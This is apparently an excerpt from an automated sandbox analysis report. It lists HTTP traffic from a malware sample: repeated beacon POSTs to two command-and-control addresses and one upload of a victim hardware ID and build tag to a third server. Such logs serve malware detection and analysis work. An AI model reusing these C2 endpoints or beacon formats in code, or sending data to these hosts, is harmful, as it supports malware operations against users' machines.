Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000017001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBAKKFCBFHIIEBGIDBGHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 41 41 32 45 43 42 43 45 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 2d 2d 0d 0a Data Ascii: ------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="hwid"25AA2ECBCE684217651120------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="build"sila------AFBAKKFCBFHIIEBGIDBG--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
